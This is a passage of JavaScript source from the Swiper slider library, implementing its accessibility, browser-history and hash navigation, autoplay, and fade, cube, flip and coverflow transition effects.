swiper.a11y.enableEl($prevEl);
}
}
if ($nextEl && $nextEl.length > 0) {
if (swiper.isEnd) {
swiper.a11y.disableEl($nextEl);
} else {
swiper.a11y.enableEl($nextEl);
}
}
},
updatePagination: function updatePagination() {
var swiper = this;
var params = swiper.params.a11y;
if (
swiper.pagination &&
swiper.params.pagination.clickable &&
swiper.pagination.bullets &&
swiper.pagination.bullets.length
) {
swiper.pagination.bullets.each(function (
bulletIndex,
bulletEl
) {
var $bulletEl = $(bulletEl);
swiper.a11y.makeElFocusable($bulletEl);
swiper.a11y.addElRole($bulletEl, 'button');
swiper.a11y.addElLabel(
$bulletEl,
params.paginationBulletMessage.replace(
/{{index}}/,
$bulletEl.index() + 1
)
);
});
}
},
init: function init() {
var swiper = this;
swiper.$el.append(swiper.a11y.liveRegion);
// Navigation
var params = swiper.params.a11y;
var $nextEl;
var $prevEl;
if (swiper.navigation && swiper.navigation.$nextEl) {
$nextEl = swiper.navigation.$nextEl;
}
if (swiper.navigation && swiper.navigation.$prevEl) {
$prevEl = swiper.navigation.$prevEl;
}
if ($nextEl) {
swiper.a11y.makeElFocusable($nextEl);
swiper.a11y.addElRole($nextEl, 'button');
swiper.a11y.addElLabel($nextEl, params.nextSlideMessage);
$nextEl.on('keydown', swiper.a11y.onEnterKey);
}
if ($prevEl) {
swiper.a11y.makeElFocusable($prevEl);
swiper.a11y.addElRole($prevEl, 'button');
swiper.a11y.addElLabel($prevEl, params.prevSlideMessage);
$prevEl.on('keydown', swiper.a11y.onEnterKey);
}
// Pagination
if (
swiper.pagination &&
swiper.params.pagination.clickable &&
swiper.pagination.bullets &&
swiper.pagination.bullets.length
) {
swiper.pagination.$el.on(
'keydown',
'.' + swiper.params.pagination.bulletClass,
swiper.a11y.onEnterKey
);
}
},
destroy: function destroy() {
var swiper = this;
if (swiper.a11y.liveRegion && swiper.a11y.liveRegion.length > 0) {
swiper.a11y.liveRegion.remove();
}
var $nextEl;
var $prevEl;
if (swiper.navigation && swiper.navigation.$nextEl) {
$nextEl = swiper.navigation.$nextEl;
}
if (swiper.navigation && swiper.navigation.$prevEl) {
$prevEl = swiper.navigation.$prevEl;
}
if ($nextEl) {
$nextEl.off('keydown', swiper.a11y.onEnterKey);
}
if ($prevEl) {
$prevEl.off('keydown', swiper.a11y.onEnterKey);
}
// Pagination
if (
swiper.pagination &&
swiper.params.pagination.clickable &&
swiper.pagination.bullets &&
swiper.pagination.bullets.length
) {
swiper.pagination.$el.off(
'keydown',
'.' + swiper.params.pagination.bulletClass,
swiper.a11y.onEnterKey
);
}
},
};
var A11y = {
name: 'a11y',
params: {
a11y: {
enabled: true,
notificationClass: 'swiper-notification',
prevSlideMessage: 'Previous slide',
nextSlideMessage: 'Next slide',
firstSlideMessage: 'This is the first slide',
lastSlideMessage: 'This is the last slide',
paginationBulletMessage: 'Go to slide {{index}}',
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
a11y: {
liveRegion: $(
'<span class="' +
swiper.params.a11y.notificationClass +
'" aria-live="assertive" aria-atomic="true"></span>'
),
},
});
Object.keys(a11y).forEach(function (methodName) {
swiper.a11y[methodName] = a11y[methodName].bind(swiper);
});
},
on: {
init: function init() {
var swiper = this;
if (!swiper.params.a11y.enabled) {
return;
}
swiper.a11y.init();
swiper.a11y.updateNavigation();
},
toEdge: function toEdge() {
var swiper = this;
if (!swiper.params.a11y.enabled) {
return;
}
swiper.a11y.updateNavigation();
},
fromEdge: function fromEdge() {
var swiper = this;
if (!swiper.params.a11y.enabled) {
return;
}
swiper.a11y.updateNavigation();
},
paginationUpdate: function paginationUpdate() {
var swiper = this;
if (!swiper.params.a11y.enabled) {
return;
}
swiper.a11y.updatePagination();
},
destroy: function destroy() {
var swiper = this;
if (!swiper.params.a11y.enabled) {
return;
}
swiper.a11y.destroy();
},
},
};
var History = {
init: function init() {
var swiper = this;
if (!swiper.params.history) {
return;
}
if (!win.history || !win.history.pushState) {
swiper.params.history.enabled = false;
swiper.params.hashNavigation.enabled = true;
return;
}
var history = swiper.history;
history.initialized = true;
history.paths = History.getPathValues();
if (!history.paths.key && !history.paths.value) {
return;
}
history.scrollToSlide(
0,
history.paths.value,
swiper.params.runCallbacksOnInit
);
if (!swiper.params.history.replaceState) {
win.addEventListener(
'popstate',
swiper.history.setHistoryPopState
);
}
},
destroy: function destroy() {
var swiper = this;
if (!swiper.params.history.replaceState) {
win.removeEventListener(
'popstate',
swiper.history.setHistoryPopState
);
}
},
setHistoryPopState: function setHistoryPopState() {
var swiper = this;
swiper.history.paths = History.getPathValues();
swiper.history.scrollToSlide(
swiper.params.speed,
swiper.history.paths.value,
false
);
},
getPathValues: function getPathValues() {
var pathArray = win.location.pathname
.slice(1)
.split('/')
.filter(function (part) {
return part !== '';
});
var total = pathArray.length;
var key = pathArray[total - 2];
var value = pathArray[total - 1];
return { key: key, value: value };
},
setHistory: function setHistory(key, index) {
var swiper = this;
if (!swiper.history.initialized || !swiper.params.history.enabled) {
return;
}
var slide = swiper.slides.eq(index);
var value = History.slugify(slide.attr('data-history'));
if (!win.location.pathname.includes(key)) {
value = key + '/' + value;
}
var currentState = win.history.state;
if (currentState && currentState.value === value) {
return;
}
if (swiper.params.history.replaceState) {
win.history.replaceState({ value: value }, null, value);
} else {
win.history.pushState({ value: value }, null, value);
}
},
slugify: function slugify(text) {
return text
.toString()
.toLowerCase()
.replace(/\s+/g, '-')
.replace(/[^\w-]+/g, '')
.replace(/--+/g, '-')
.replace(/^-+/, '')
.replace(/-+$/, '');
},
scrollToSlide: function scrollToSlide(speed, value, runCallbacks) {
var swiper = this;
if (value) {
for (
var i = 0, length = swiper.slides.length;
i < length;
i += 1
) {
var slide = swiper.slides.eq(i);
var slideHistory = History.slugify(
slide.attr('data-history')
);
if (
slideHistory === value &&
!slide.hasClass(swiper.params.slideDuplicateClass)
) {
var index = slide.index();
swiper.slideTo(index, speed, runCallbacks);
}
}
} else {
swiper.slideTo(0, speed, runCallbacks);
}
},
};
var History$1 = {
name: 'history',
params: {
history: {
enabled: false,
replaceState: false,
key: 'slides',
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
history: {
init: History.init.bind(swiper),
setHistory: History.setHistory.bind(swiper),
setHistoryPopState: History.setHistoryPopState.bind(swiper),
scrollToSlide: History.scrollToSlide.bind(swiper),
destroy: History.destroy.bind(swiper),
},
});
},
on: {
init: function init() {
var swiper = this;
if (swiper.params.history.enabled) {
swiper.history.init();
}
},
destroy: function destroy() {
var swiper = this;
if (swiper.params.history.enabled) {
swiper.history.destroy();
}
},
transitionEnd: function transitionEnd() {
var swiper = this;
if (swiper.history.initialized) {
swiper.history.setHistory(
swiper.params.history.key,
swiper.activeIndex
);
}
},
},
};
var HashNavigation = {
onHashCange: function onHashCange() {
var swiper = this;
var newHash = doc.location.hash.replace('#', '');
var activeSlideHash = swiper.slides
.eq(swiper.activeIndex)
.attr('data-hash');
if (newHash !== activeSlideHash) {
swiper.slideTo(
swiper.$wrapperEl
.children(
'.' +
swiper.params.slideClass +
'[data-hash="' +
newHash +
'"]'
)
.index()
);
}
},
setHash: function setHash() {
var swiper = this;
if (
!swiper.hashNavigation.initialized ||
!swiper.params.hashNavigation.enabled
) {
return;
}
if (
swiper.params.hashNavigation.replaceState &&
win.history &&
win.history.replaceState
) {
win.history.replaceState(
null,
null,
'#' +
swiper.slides
.eq(swiper.activeIndex)
.attr('data-hash') || ''
);
} else {
var slide = swiper.slides.eq(swiper.activeIndex);
var hash =
slide.attr('data-hash') || slide.attr('data-history');
doc.location.hash = hash || '';
}
},
init: function init() {
var swiper = this;
if (
!swiper.params.hashNavigation.enabled ||
(swiper.params.history && swiper.params.history.enabled)
) {
return;
}
swiper.hashNavigation.initialized = true;
var hash = doc.location.hash.replace('#', '');
if (hash) {
var speed = 0;
for (
var i = 0, length = swiper.slides.length;
i < length;
i += 1
) {
var slide = swiper.slides.eq(i);
var slideHash =
slide.attr('data-hash') || slide.attr('data-history');
if (
slideHash === hash &&
!slide.hasClass(swiper.params.slideDuplicateClass)
) {
var index = slide.index();
swiper.slideTo(
index,
speed,
swiper.params.runCallbacksOnInit,
true
);
}
}
}
if (swiper.params.hashNavigation.watchState) {
$(win).on('hashchange', swiper.hashNavigation.onHashCange);
}
},
destroy: function destroy() {
var swiper = this;
if (swiper.params.hashNavigation.watchState) {
$(win).off('hashchange', swiper.hashNavigation.onHashCange);
}
},
};
var HashNavigation$1 = {
name: 'hash-navigation',
params: {
hashNavigation: {
enabled: false,
replaceState: false,
watchState: false,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
hashNavigation: {
initialized: false,
init: HashNavigation.init.bind(swiper),
destroy: HashNavigation.destroy.bind(swiper),
setHash: HashNavigation.setHash.bind(swiper),
onHashCange: HashNavigation.onHashCange.bind(swiper),
},
});
},
on: {
init: function init() {
var swiper = this;
if (swiper.params.hashNavigation.enabled) {
swiper.hashNavigation.init();
}
},
destroy: function destroy() {
var swiper = this;
if (swiper.params.hashNavigation.enabled) {
swiper.hashNavigation.destroy();
}
},
transitionEnd: function transitionEnd() {
var swiper = this;
if (swiper.hashNavigation.initialized) {
swiper.hashNavigation.setHash();
}
},
},
};
/* eslint no-underscore-dangle: "off" */
var Autoplay = {
run: function run() {
var swiper = this;
var $activeSlideEl = swiper.slides.eq(swiper.activeIndex);
var delay = swiper.params.autoplay.delay;
if ($activeSlideEl.attr('data-swiper-autoplay')) {
delay =
$activeSlideEl.attr('data-swiper-autoplay') ||
swiper.params.autoplay.delay;
}
swiper.autoplay.timeout = Utils.nextTick(function () {
if (swiper.params.autoplay.reverseDirection) {
if (swiper.params.loop) {
swiper.loopFix();
swiper.slidePrev(swiper.params.speed, true, true);
swiper.emit('autoplay');
} else if (!swiper.isBeginning) {
swiper.slidePrev(swiper.params.speed, true, true);
swiper.emit('autoplay');
} else if (!swiper.params.autoplay.stopOnLastSlide) {
swiper.slideTo(
swiper.slides.length - 1,
swiper.params.speed,
true,
true
);
swiper.emit('autoplay');
} else {
swiper.autoplay.stop();
}
} else if (swiper.params.loop) {
swiper.loopFix();
swiper.slideNext(swiper.params.speed, true, true);
swiper.emit('autoplay');
} else if (!swiper.isEnd) {
swiper.slideNext(swiper.params.speed, true, true);
swiper.emit('autoplay');
} else if (!swiper.params.autoplay.stopOnLastSlide) {
swiper.slideTo(0, swiper.params.speed, true, true);
swiper.emit('autoplay');
} else {
swiper.autoplay.stop();
}
}, delay);
},
start: function start() {
var swiper = this;
if (typeof swiper.autoplay.timeout !== 'undefined') {
return false;
}
if (swiper.autoplay.running) {
return false;
}
swiper.autoplay.running = true;
swiper.emit('autoplayStart');
swiper.autoplay.run();
return true;
},
stop: function stop() {
var swiper = this;
if (!swiper.autoplay.running) {
return false;
}
if (typeof swiper.autoplay.timeout === 'undefined') {
return false;
}
if (swiper.autoplay.timeout) {
clearTimeout(swiper.autoplay.timeout);
swiper.autoplay.timeout = undefined;
}
swiper.autoplay.running = false;
swiper.emit('autoplayStop');
return true;
},
pause: function pause(speed) {
var swiper = this;
if (!swiper.autoplay.running) {
return;
}
if (swiper.autoplay.paused) {
return;
}
if (swiper.autoplay.timeout) {
clearTimeout(swiper.autoplay.timeout);
}
swiper.autoplay.paused = true;
if (speed === 0 || !swiper.params.autoplay.waitForTransition) {
swiper.autoplay.paused = false;
swiper.autoplay.run();
} else {
swiper.$wrapperEl[0].addEventListener(
'transitionend',
swiper.autoplay.onTransitionEnd
);
swiper.$wrapperEl[0].addEventListener(
'webkitTransitionEnd',
swiper.autoplay.onTransitionEnd
);
}
},
};
var Autoplay$1 = {
name: 'autoplay',
params: {
autoplay: {
enabled: false,
delay: 3000,
waitForTransition: true,
disableOnInteraction: true,
stopOnLastSlide: false,
reverseDirection: false,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
autoplay: {
running: false,
paused: false,
run: Autoplay.run.bind(swiper),
start: Autoplay.start.bind(swiper),
stop: Autoplay.stop.bind(swiper),
pause: Autoplay.pause.bind(swiper),
onTransitionEnd: function onTransitionEnd(e) {
if (!swiper || swiper.destroyed || !swiper.$wrapperEl) {
return;
}
if (e.target !== this) {
return;
}
swiper.$wrapperEl[0].removeEventListener(
'transitionend',
swiper.autoplay.onTransitionEnd
);
swiper.$wrapperEl[0].removeEventListener(
'webkitTransitionEnd',
swiper.autoplay.onTransitionEnd
);
swiper.autoplay.paused = false;
if (!swiper.autoplay.running) {
swiper.autoplay.stop();
} else {
swiper.autoplay.run();
}
},
},
});
},
on: {
init: function init() {
var swiper = this;
if (swiper.params.autoplay.enabled) {
swiper.autoplay.start();
}
},
beforeTransitionStart: function beforeTransitionStart(
speed,
internal
) {
var swiper = this;
if (swiper.autoplay.running) {
if (
internal ||
!swiper.params.autoplay.disableOnInteraction
) {
swiper.autoplay.pause(speed);
} else {
swiper.autoplay.stop();
}
}
},
sliderFirstMove: function sliderFirstMove() {
var swiper = this;
if (swiper.autoplay.running) {
if (swiper.params.autoplay.disableOnInteraction) {
swiper.autoplay.stop();
} else {
swiper.autoplay.pause();
}
}
},
destroy: function destroy() {
var swiper = this;
if (swiper.autoplay.running) {
swiper.autoplay.stop();
}
},
},
};
var Fade = {
setTranslate: function setTranslate() {
var swiper = this;
var slides = swiper.slides;
for (var i = 0; i < slides.length; i += 1) {
var $slideEl = swiper.slides.eq(i);
var offset = $slideEl[0].swiperSlideOffset;
var tx = -offset;
if (!swiper.params.virtualTranslate) {
tx -= swiper.translate;
}
var ty = 0;
if (!swiper.isHorizontal()) {
ty = tx;
tx = 0;
}
var slideOpacity = swiper.params.fadeEffect.crossFade
? Math.max(1 - Math.abs($slideEl[0].progress), 0)
: 1 + Math.min(Math.max($slideEl[0].progress, -1), 0);
$slideEl
.css({
opacity: slideOpacity,
})
.transform('translate3d(' + tx + 'px, ' + ty + 'px, 0px)');
}
},
setTransition: function setTransition(duration) {
var swiper = this;
var slides = swiper.slides;
var $wrapperEl = swiper.$wrapperEl;
slides.transition(duration);
if (swiper.params.virtualTranslate && duration !== 0) {
var eventTriggered = false;
slides.transitionEnd(function () {
if (eventTriggered) {
return;
}
if (!swiper || swiper.destroyed) {
return;
}
eventTriggered = true;
swiper.animating = false;
var triggerEvents = [
'webkitTransitionEnd',
'transitionend',
];
for (var i = 0; i < triggerEvents.length; i += 1) {
$wrapperEl.trigger(triggerEvents[i]);
}
});
}
},
};
var EffectFade = {
name: 'effect-fade',
params: {
fadeEffect: {
crossFade: false,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
fadeEffect: {
setTranslate: Fade.setTranslate.bind(swiper),
setTransition: Fade.setTransition.bind(swiper),
},
});
},
on: {
beforeInit: function beforeInit() {
var swiper = this;
if (swiper.params.effect !== 'fade') {
return;
}
swiper.classNames.push(
swiper.params.containerModifierClass + 'fade'
);
var overwriteParams = {
slidesPerView: 1,
slidesPerColumn: 1,
slidesPerGroup: 1,
watchSlidesProgress: true,
spaceBetween: 0,
virtualTranslate: true,
};
Utils.extend(swiper.params, overwriteParams);
Utils.extend(swiper.originalParams, overwriteParams);
},
setTranslate: function setTranslate() {
var swiper = this;
if (swiper.params.effect !== 'fade') {
return;
}
swiper.fadeEffect.setTranslate();
},
setTransition: function setTransition(duration) {
var swiper = this;
if (swiper.params.effect !== 'fade') {
return;
}
swiper.fadeEffect.setTransition(duration);
},
},
};
var Cube = {
setTranslate: function setTranslate() {
var swiper = this;
var $el = swiper.$el;
var $wrapperEl = swiper.$wrapperEl;
var slides = swiper.slides;
var swiperWidth = swiper.width;
var swiperHeight = swiper.height;
var rtl = swiper.rtlTranslate;
var swiperSize = swiper.size;
var params = swiper.params.cubeEffect;
var isHorizontal = swiper.isHorizontal();
var isVirtual = swiper.virtual && swiper.params.virtual.enabled;
var wrapperRotate = 0;
var $cubeShadowEl;
if (params.shadow) {
if (isHorizontal) {
$cubeShadowEl = $wrapperEl.find('.swiper-cube-shadow');
if ($cubeShadowEl.length === 0) {
$cubeShadowEl = $(
'<div class="swiper-cube-shadow"></div>'
);
$wrapperEl.append($cubeShadowEl);
}
$cubeShadowEl.css({ height: swiperWidth + 'px' });
} else {
$cubeShadowEl = $el.find('.swiper-cube-shadow');
if ($cubeShadowEl.length === 0) {
$cubeShadowEl = $(
'<div class="swiper-cube-shadow"></div>'
);
$el.append($cubeShadowEl);
}
}
}
for (var i = 0; i < slides.length; i += 1) {
var $slideEl = slides.eq(i);
var slideIndex = i;
if (isVirtual) {
slideIndex = parseInt(
$slideEl.attr('data-swiper-slide-index'),
10
);
}
var slideAngle = slideIndex * 90;
var round = Math.floor(slideAngle / 360);
if (rtl) {
slideAngle = -slideAngle;
round = Math.floor(-slideAngle / 360);
}
var progress = Math.max(Math.min($slideEl[0].progress, 1), -1);
var tx = 0;
var ty = 0;
var tz = 0;
if (slideIndex % 4 === 0) {
tx = -round * 4 * swiperSize;
tz = 0;
} else if ((slideIndex - 1) % 4 === 0) {
tx = 0;
tz = -round * 4 * swiperSize;
} else if ((slideIndex - 2) % 4 === 0) {
tx = swiperSize + round * 4 * swiperSize;
tz = swiperSize;
} else if ((slideIndex - 3) % 4 === 0) {
tx = -swiperSize;
tz = 3 * swiperSize + swiperSize * 4 * round;
}
if (rtl) {
tx = -tx;
}
if (!isHorizontal) {
ty = tx;
tx = 0;
}
var transform =
'rotateX(' +
(isHorizontal ? 0 : -slideAngle) +
'deg) rotateY(' +
(isHorizontal ? slideAngle : 0) +
'deg) translate3d(' +
tx +
'px, ' +
ty +
'px, ' +
tz +
'px)';
if (progress <= 1 && progress > -1) {
wrapperRotate = slideIndex * 90 + progress * 90;
if (rtl) {
wrapperRotate = -slideIndex * 90 - progress * 90;
}
}
$slideEl.transform(transform);
if (params.slideShadows) {
// Set shadows
var shadowBefore = isHorizontal
? $slideEl.find('.swiper-slide-shadow-left')
: $slideEl.find('.swiper-slide-shadow-top');
var shadowAfter = isHorizontal
? $slideEl.find('.swiper-slide-shadow-right')
: $slideEl.find('.swiper-slide-shadow-bottom');
if (shadowBefore.length === 0) {
shadowBefore = $(
'<div class="swiper-slide-shadow-' +
(isHorizontal ? 'left' : 'top') +
'"></div>'
);
$slideEl.append(shadowBefore);
}
if (shadowAfter.length === 0) {
shadowAfter = $(
'<div class="swiper-slide-shadow-' +
(isHorizontal ? 'right' : 'bottom') +
'"></div>'
);
$slideEl.append(shadowAfter);
}
if (shadowBefore.length) {
shadowBefore[0].style.opacity = Math.max(-progress, 0);
}
if (shadowAfter.length) {
shadowAfter[0].style.opacity = Math.max(progress, 0);
}
}
}
$wrapperEl.css({
'-webkit-transform-origin': '50% 50% -' + swiperSize / 2 + 'px',
'-moz-transform-origin': '50% 50% -' + swiperSize / 2 + 'px',
'-ms-transform-origin': '50% 50% -' + swiperSize / 2 + 'px',
'transform-origin': '50% 50% -' + swiperSize / 2 + 'px',
});
if (params.shadow) {
if (isHorizontal) {
$cubeShadowEl.transform(
'translate3d(0px, ' +
(swiperWidth / 2 + params.shadowOffset) +
'px, ' +
-swiperWidth / 2 +
'px) rotateX(90deg) rotateZ(0deg) scale(' +
params.shadowScale +
')'
);
} else {
var shadowAngle =
Math.abs(wrapperRotate) -
Math.floor(Math.abs(wrapperRotate) / 90) * 90;
var multiplier =
1.5 -
(Math.sin((shadowAngle * 2 * Math.PI) / 360) / 2 +
Math.cos((shadowAngle * 2 * Math.PI) / 360) / 2);
var scale1 = params.shadowScale;
var scale2 = params.shadowScale / multiplier;
var offset = params.shadowOffset;
$cubeShadowEl.transform(
'scale3d(' +
scale1 +
', 1, ' +
scale2 +
') translate3d(0px, ' +
(swiperHeight / 2 + offset) +
'px, ' +
-swiperHeight / 2 / scale2 +
'px) rotateX(-90deg)'
);
}
}
var zFactor =
Browser.isSafari || Browser.isUiWebView ? -swiperSize / 2 : 0;
$wrapperEl.transform(
'translate3d(0px,0,' +
zFactor +
'px) rotateX(' +
(swiper.isHorizontal() ? 0 : wrapperRotate) +
'deg) rotateY(' +
(swiper.isHorizontal() ? -wrapperRotate : 0) +
'deg)'
);
},
setTransition: function setTransition(duration) {
var swiper = this;
var $el = swiper.$el;
var slides = swiper.slides;
slides
.transition(duration)
.find(
'.swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left'
)
.transition(duration);
if (swiper.params.cubeEffect.shadow && !swiper.isHorizontal()) {
$el.find('.swiper-cube-shadow').transition(duration);
}
},
};
var EffectCube = {
name: 'effect-cube',
params: {
cubeEffect: {
slideShadows: true,
shadow: true,
shadowOffset: 20,
shadowScale: 0.94,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
cubeEffect: {
setTranslate: Cube.setTranslate.bind(swiper),
setTransition: Cube.setTransition.bind(swiper),
},
});
},
on: {
beforeInit: function beforeInit() {
var swiper = this;
if (swiper.params.effect !== 'cube') {
return;
}
swiper.classNames.push(
swiper.params.containerModifierClass + 'cube'
);
swiper.classNames.push(
swiper.params.containerModifierClass + '3d'
);
var overwriteParams = {
slidesPerView: 1,
slidesPerColumn: 1,
slidesPerGroup: 1,
watchSlidesProgress: true,
resistanceRatio: 0,
spaceBetween: 0,
centeredSlides: false,
virtualTranslate: true,
};
Utils.extend(swiper.params, overwriteParams);
Utils.extend(swiper.originalParams, overwriteParams);
},
setTranslate: function setTranslate() {
var swiper = this;
if (swiper.params.effect !== 'cube') {
return;
}
swiper.cubeEffect.setTranslate();
},
setTransition: function setTransition(duration) {
var swiper = this;
if (swiper.params.effect !== 'cube') {
return;
}
swiper.cubeEffect.setTransition(duration);
},
},
};
var Flip = {
setTranslate: function setTranslate() {
var swiper = this;
var slides = swiper.slides;
var rtl = swiper.rtlTranslate;
for (var i = 0; i < slides.length; i += 1) {
var $slideEl = slides.eq(i);
var progress = $slideEl[0].progress;
if (swiper.params.flipEffect.limitRotation) {
progress = Math.max(Math.min($slideEl[0].progress, 1), -1);
}
var offset = $slideEl[0].swiperSlideOffset;
var rotate = -180 * progress;
var rotateY = rotate;
var rotateX = 0;
var tx = -offset;
var ty = 0;
if (!swiper.isHorizontal()) {
ty = tx;
tx = 0;
rotateX = -rotateY;
rotateY = 0;
} else if (rtl) {
rotateY = -rotateY;
}
$slideEl[0].style.zIndex =
-Math.abs(Math.round(progress)) + slides.length;
if (swiper.params.flipEffect.slideShadows) {
// Set shadows
var shadowBefore = swiper.isHorizontal()
? $slideEl.find('.swiper-slide-shadow-left')
: $slideEl.find('.swiper-slide-shadow-top');
var shadowAfter = swiper.isHorizontal()
? $slideEl.find('.swiper-slide-shadow-right')
: $slideEl.find('.swiper-slide-shadow-bottom');
if (shadowBefore.length === 0) {
shadowBefore = $(
'<div class="swiper-slide-shadow-' +
(swiper.isHorizontal() ? 'left' : 'top') +
'"></div>'
);
$slideEl.append(shadowBefore);
}
if (shadowAfter.length === 0) {
shadowAfter = $(
'<div class="swiper-slide-shadow-' +
(swiper.isHorizontal() ? 'right' : 'bottom') +
'"></div>'
);
$slideEl.append(shadowAfter);
}
if (shadowBefore.length) {
shadowBefore[0].style.opacity = Math.max(-progress, 0);
}
if (shadowAfter.length) {
shadowAfter[0].style.opacity = Math.max(progress, 0);
}
}
$slideEl.transform(
'translate3d(' +
tx +
'px, ' +
ty +
'px, 0px) rotateX(' +
rotateX +
'deg) rotateY(' +
rotateY +
'deg)'
);
}
},
setTransition: function setTransition(duration) {
var swiper = this;
var slides = swiper.slides;
var activeIndex = swiper.activeIndex;
var $wrapperEl = swiper.$wrapperEl;
slides
.transition(duration)
.find(
'.swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left'
)
.transition(duration);
if (swiper.params.virtualTranslate && duration !== 0) {
var eventTriggered = false;
// eslint-disable-next-line
slides
.eq(activeIndex)
.transitionEnd(function onTransitionEnd() {
if (eventTriggered) {
return;
}
if (!swiper || swiper.destroyed) {
return;
}
// if (!$(this).hasClass(swiper.params.slideActiveClass)) return;
eventTriggered = true;
swiper.animating = false;
var triggerEvents = [
'webkitTransitionEnd',
'transitionend',
];
for (var i = 0; i < triggerEvents.length; i += 1) {
$wrapperEl.trigger(triggerEvents[i]);
}
});
}
},
};
var EffectFlip = {
name: 'effect-flip',
params: {
flipEffect: {
slideShadows: true,
limitRotation: true,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
flipEffect: {
setTranslate: Flip.setTranslate.bind(swiper),
setTransition: Flip.setTransition.bind(swiper),
},
});
},
on: {
beforeInit: function beforeInit() {
var swiper = this;
if (swiper.params.effect !== 'flip') {
return;
}
swiper.classNames.push(
swiper.params.containerModifierClass + 'flip'
);
swiper.classNames.push(
swiper.params.containerModifierClass + '3d'
);
var overwriteParams = {
slidesPerView: 1,
slidesPerColumn: 1,
slidesPerGroup: 1,
watchSlidesProgress: true,
spaceBetween: 0,
virtualTranslate: true,
};
Utils.extend(swiper.params, overwriteParams);
Utils.extend(swiper.originalParams, overwriteParams);
},
setTranslate: function setTranslate() {
var swiper = this;
if (swiper.params.effect !== 'flip') {
return;
}
swiper.flipEffect.setTranslate();
},
setTransition: function setTransition(duration) {
var swiper = this;
if (swiper.params.effect !== 'flip') {
return;
}
swiper.flipEffect.setTransition(duration);
},
},
};
var Coverflow = {
setTranslate: function setTranslate() {
var swiper = this;
var swiperWidth = swiper.width;
var swiperHeight = swiper.height;
var slides = swiper.slides;
var $wrapperEl = swiper.$wrapperEl;
var slidesSizesGrid = swiper.slidesSizesGrid;
var params = swiper.params.coverflowEffect;
var isHorizontal = swiper.isHorizontal();
var transform = swiper.translate;
var center = isHorizontal
? -transform + swiperWidth / 2
: -transform + swiperHeight / 2;
var rotate = isHorizontal ? params.rotate : -params.rotate;
var translate = params.depth;
// Each slide offset from center
for (var i = 0, length = slides.length; i < length; i += 1) {
var $slideEl = slides.eq(i);
var slideSize = slidesSizesGrid[i];
var slideOffset = $slideEl[0].swiperSlideOffset;
var offsetMultiplier =
((center - slideOffset - slideSize / 2) / slideSize) *
params.modifier;
var rotateY = isHorizontal ? rotate * offsetMultiplier : 0;
var rotateX = isHorizontal ? 0 : rotate * offsetMultiplier;
// var rotateZ = 0
var translateZ = -translate * Math.abs(offsetMultiplier);
var translateY = isHorizontal
? 0
: params.stretch * offsetMultiplier;
var translateX = isHorizontal
? params.stretch * offsetMultiplier
: 0;
// Fix for ultra small values
if (Math.abs(translateX) < 0.001) {
translateX = 0;
}
if (Math.abs(translateY) < 0.001) {
translateY = 0;
}
if (Math.abs(translateZ) < 0.001) {
translateZ = 0;
}
if (Math.abs(rotateY) < 0.001) {
rotateY = 0;
}
if (Math.abs(rotateX) < 0.001) {
rotateX = 0;
}
var slideTransform =
'translate3d(' +
translateX +
'px,' +
translateY +
'px,' +
translateZ +
'px) rotateX(' +
rotateX +
'deg) rotateY(' +
rotateY +
'deg)';
$slideEl.transform(slideTransform);
$slideEl[0].style.zIndex =
-Math.abs(Math.round(offsetMultiplier)) + 1;
if (params.slideShadows) {
// Set shadows
var $shadowBeforeEl = isHorizontal
? $slideEl.find('.swiper-slide-shadow-left')
: $slideEl.find('.swiper-slide-shadow-top');
var $shadowAfterEl = isHorizontal
? $slideEl.find('.swiper-slide-shadow-right')
: $slideEl.find('.swiper-slide-shadow-bottom');
if ($shadowBeforeEl.length === 0) {
$shadowBeforeEl = $(
'<div class="swiper-slide-shadow-' +
(isHorizontal ? 'left' : 'top') +
'"></div>'
);
$slideEl.append($shadowBeforeEl);
}
if ($shadowAfterEl.length === 0) {
$shadowAfterEl = $(
'<div class="swiper-slide-shadow-' +
(isHorizontal ? 'right' : 'bottom') +
'"></div>'
);
$slideEl.append($shadowAfterEl);
}
if ($shadowBeforeEl.length) {
$shadowBeforeEl[0].style.opacity =
offsetMultiplier > 0 ? offsetMultiplier : 0;
}
if ($shadowAfterEl.length) {
$shadowAfterEl[0].style.opacity =
-offsetMultiplier > 0 ? -offsetMultiplier : 0;
}
}
}
// Set correct perspective for IE10
if (Support.pointerEvents || Support.prefixedPointerEvents) {
var ws = $wrapperEl[0].style;
ws.perspectiveOrigin = center + 'px 50%';
}
},
setTransition: function setTransition(duration) {
var swiper = this;
swiper.slides
.transition(duration)
.find(
'.swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left'
)
.transition(duration);
},
};
var EffectCoverflow = {
name: 'effect-coverflow',
params: {
coverflowEffect: {
rotate: 50,
stretch: 0,
depth: 100,
modifier: 1,
slideShadows: true,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
coverflowEffect: {
setTranslate: Coverflow.setTranslate.bind(swiper),
setTransition: Coverflow.setTransition.bind(swiper),
},
});
},
on: {
beforeInit: function beforeInit() {
var swiper = this;
if (swiper.params.effect !== 'coverflow') {
return;
}
swiper.classNames.push(
swiper.params.containerModifierClass + 'coverflow'
);
swiper.classNames.push(
swiper.params.containerModifierClass + '3d'
);
swiper.params.watchSlidesProgress = true;
swiper.originalParams.watchSlidesProgress = true;
},
setTranslate: function setTranslate() {
var swiper = this;
if (swiper.params.effect !== 'coverflow') {
return;
}
swiper.coverflowEffect.setTranslate();
},
setTransition: function setTransition(duration) {
var swiper = this;
if (swiper.params.effect !== 'coverflow') {
return;
}
swiper.coverflowEffect.setTransition(duration);
},
},
};
// Swiper Class
var components = [
Device$1,
Support$1,
Browser$1,
Resize,
Observer$1,
Virtual$1,
Keyboard$1,
Mousewheel$1,
Navigation$1,
Pagination$1,
Scrollbar$1,
Parallax$1,
Zoom$1,
Lazy$1,
Controller$1,
A11y,
History$1,
HashNavigation$1,
Autoplay$1,
EffectFade,
EffectCube,
EffectFlip,
EffectCoverflow,
];
if (typeof Swiper.use === 'undefined') {
